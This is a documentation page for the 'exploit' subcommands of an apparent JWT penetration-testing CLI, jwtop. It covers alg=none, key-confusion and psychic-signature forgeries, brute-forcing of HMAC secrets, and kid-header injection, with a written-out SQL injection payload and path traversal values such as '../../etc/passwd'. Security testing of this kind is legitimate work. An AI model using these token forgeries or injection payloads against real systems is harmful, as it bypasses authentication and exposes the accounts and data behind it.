Skip to content

exploit

Apply a JWT security exploit to an existing token and print the modified token to stdout. Each subcommand implements one exploit independently.

Terminal window
jwtop exploit <subcommand> <token> [flags]
SubcommandDescription
algnoneSet alg=none and strip the signature
blanksecretRe-sign with an empty HMAC secret
nullsigStrip the signature while keeping the original alg
hmacconfusionRe-sign with a public key as HMAC secret (RS/ES → HS)
psychicsigRe-sign with an all-zero ECDSA signature (r=0, s=0)
kidinjectionInject a value into the kid header
weaksecretBrute-force the HMAC signing secret

Set alg=none and strip the signature. Use --all to emit one token per capitalisation variant (none, NONE, None, nOnE) to cover libraries that perform case-insensitive algorithm matching.

Terminal window
jwtop exploit algnone <token>
jwtop exploit algnone --all <token>
FlagDescription
--allPrint one token per capitalisation variant of "none"

Re-sign the token with an empty string as the HMAC secret. A server that accepts this token is configured with a blank signing key.

Terminal window
jwtop exploit blanksecret <token>

Strip the signature segment while leaving the alg header unchanged. The resulting token has the form header.payload. (trailing dot, empty signature).

Terminal window
jwtop exploit nullsig <token>

Re-sign an RSA or ECDSA token as its HMAC equivalent, using the server’s public key PEM as the HMAC secret. Exploits servers that verify HS256 tokens using their RSA/EC public key.

Algorithm mapping (same bit-strength):

OriginalExploited
RS256 / ES256 / PS256HS256
RS384 / ES384 / PS384HS384
RS512 / ES512 / PS512HS512
Terminal window
jwtop exploit hmacconfusion <token> --key <pem-file-or-url>
FlagDescription
--keyPath or URL to a PEM public key file (required)

Re-sign an ECDSA token (ES256, ES384, or ES512) with an all-zero r=0, s=0 signature, sized for the token’s declared algorithm. Exploits CVE-2022-21449 (“psychic signatures in Java”), where some ECDSA verifiers (notably Java 15-18’s SunEC provider) failed to reject r=0/s=0, accepting the token as validly signed for any message and any public key.

Terminal window
jwtop exploit psychicsig <token>

Manipulate the kid header field and re-sign the token.

Terminal window
jwtop exploit kidinjection <token> [--mode <mode>] [--kid <value>] [--secret <secret>]
FlagDescription
--modesql, path, or raw (default sql)
--kidOverride the kid value (overrides the mode default)
--sql-tableTable name for sql mode payload (default tokens)
--pathFile path for path mode payload (default /dev/null)
--secretHMAC secret to sign with (overrides the mode default)

Modes:

ModeDefault kidDefault secretDescription
sql' UNION SELECT 'secret' FROM <table> WHERE '1'='1secretSQL injection — makes a SELECT return an attacker-controlled value
path/dev/null(empty)Path traversal to an empty file
raw(required via --kid)(empty)Arbitrary value

Examples:

Terminal window
# SQL injection (default table: tokens)
jwtop exploit kidinjection --mode sql $TOKEN
# SQL injection targeting a custom table
jwtop exploit kidinjection --mode sql --sql-table keys $TOKEN
# Path traversal (default path: /dev/null)
jwtop exploit kidinjection --mode path $TOKEN
# Path traversal with a custom path
jwtop exploit kidinjection --mode path --path /proc/sys/kernel/ns_last_pid $TOKEN
# Arbitrary kid value
jwtop exploit kidinjection --mode raw --kid "../../etc/passwd" --secret "" $TOKEN

Dictionary-attack the HMAC signing secret of an HS256/HS384/HS512 token. The built-in wordlist is tried first, then any --wordlist file, then any explicit --secret values.

Terminal window
jwtop exploit weaksecret <token> [--wordlist <file>] [--secret <s>...] [--workers <n>]
FlagDescription
--wordlistPath to a newline-delimited file of candidate secrets
--secretExplicit candidate secret (repeatable)
--workersNumber of concurrent workers (default 8)

Examples:

Terminal window
# Use the built-in dictionary
jwtop exploit weaksecret $TOKEN
# Add explicit guesses on top of the built-in dictionary
jwtop exploit weaksecret $TOKEN --secret mysecret --secret topsecret
# Use a custom wordlist
jwtop exploit weaksecret $TOKEN --wordlist /path/to/secrets.txt

Prints the recovered secret to stdout (exit 0) when found; exits 1 when not found.